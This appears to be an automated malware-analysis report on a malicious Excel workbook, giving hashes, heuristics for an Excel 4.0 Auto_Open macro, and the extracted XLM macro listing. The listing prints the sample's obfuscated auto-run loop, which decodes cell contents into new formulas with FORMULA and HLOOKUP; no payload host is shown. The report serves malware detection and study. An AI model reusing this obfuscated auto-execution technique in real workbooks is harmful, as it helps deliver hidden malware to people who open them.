Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 99e132fdcebb9f42…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:39:59 Authoring application: Microsoft Excel First seen: 2021-01-11
MD5: 1ba53848866f4ee0ff5283d554d21570 SHA-1: 6015051f3f8932df5150850f321a7c2974119334 SHA-256: 99e132fdcebb9f42a0cb99ed2d1cdf4d70b5753eca087c63268f1fb60d04c8ce
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6436 bytes
SHA-256: 42770918c83872a5948d8392a178b74907bda4b3a178ab36fa565f3ce722e826
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  BEJI
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B164 
' 0018     24 LABEL : Cell Value, String Constant - bfkicDHJu len=0 
' 0018     26 LABEL : Cell Value, String Constant - BXLZGagcZYA len=0 
' 0018     24 LABEL : Cell Value, String Constant - dAAvnceKn len=0 
' 0018     25 LABEL : Cell Value, String Constant - DGBPmHBTTI len=0 
' 0018     26 LABEL : Cell Value, String Constant - fpWntpBjXtb len=0 
' 0018     20 LABEL : Cell Value, String Constant - GXcJN len=0 
' 0018     20 LABEL : Cell Value, String Constant - GYmDo len=0 
' 0018     25 LABEL : Cell Value, String Constant - hXKoxsjabB len=0 
' 0018     22 LABEL : Cell Value, String Constant - iCOZVoA len=0 
' 0018     23 LABEL : Cell Value, String Constant - KJAjLsLo len=0 
' 0018     24 LABEL : Cell Value, String Constant - KoxIYbLNb len=0 
' 0018     24 LABEL : Cell Value, String Constant - mWecdxMyQ len=0 
' 0018     21 LABEL : Cell Value, String Constant - nuaXhq len=0 
' 0018     26 LABEL : Cell Value, String Constant - RnJGBYgfOUC len=0 
' 0018     26 LABEL : Cell Value, String Constant - TQYEdeStcQk len=0 
' 0018     27 LABEL : Cell Value, String Constant - TYnIKoRjJrBn len=0 
' 0018     23 LABEL : Cell Value, String Constant - VpeTwRRN len=0 
' 0018     27 LABEL : Cell Value, String Constant - whRfgpERufOp len=0 
' 0018     24 LABEL : Cell Value, String Constant - wrYYxKHBj len=0 
' 0018     27 LABEL : Cell Value, String Constant - zsXYiTpwFpaL len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  BEJI,B63,"SET.NAME("mWecdxMyQ",VALUE("0"))",""
'  BEJI,B67,"SET.NAME("wrYYxKHBj",mWecdxMyQ)",""
'  BEJI,B69,"SET.NAME("nuaXhq",mWecdxMyQ)",""
'  BEJI,B74,"SET.NAME("KoxIYbLNb",COUNTA(GXcJN))",""
'  BEJI,B79,"SET.NAME("whRfgpERufOp",COUNTA(KJAjLsLo))",""
'  BEJI,B82,[],""
'  BEJI,B87,"SET.NAME("hXKoxsjabB","")",""
'  BEJI,B92,"wrYYxKHBj",""
'  BEJI,B97,"SET.NAME("GYmDo",HLOOKUP("*",GXcJN,wrYYxKHBj,FALSE))",""
'  BEJI,B100,"iCOZVoA",""
'  BEJI,B104,"SET.NAME("TYnIKoRjJrBn",mWecdxMyQ)",""
'  BEJI,B106,[],""
'  BEJI,B108,"TYnIKoRjJrBn",""
'  BEJI,B113,"DGBPmHBTTI",""
'  BEJI,B116,"fpWntpBjXtb",""
'  BEJI,B120,"RnJGBYgfOUC",""
'  BEJI,B123,"SET.NAME("BXLZGagcZYA",VALUE(HLOOKUP("*",KJAjLsLo,RnJGBYgfOUC,FALSE)))",""
'  BEJI,B126,"TQYEdeStcQk",""
'  BEJI,B130,"hXKoxsjabB",""
'  BEJI,B133,"nuaXhq",""
'  BEJI,B138,NEXT(),""
'  BEJI,B143,"dAAvnceKn",""
'  BEJI,B148,"SET.NAME("f",INT(T(FORMULA(T(hXKoxsjabB)&"",""&T(dAAvnceKn)))))",""
'  BEJI,B153,"VpeTwRRN",""
'  BEJI,B155,NEXT(),""
'  BEJI,B159,RETURN(),""
'  BEJI,B190,"SET.NAME("bfkicDHJu",B63)",""
'  BEJI,B195,"GXcJN",""
'  BEJI,B198,"SET.NAME("KJAjLsLo",R69C15)",""
'  BEJI,B203,"SET.NAME("VpeTwRRN",209)",""
'  BEJI,B205,"SET.NAME("zsXYiTpwFpaL",2)",""
'  BEJI,B208,bfkicDHJu(),""
'  BEJI,B209,HALT(),""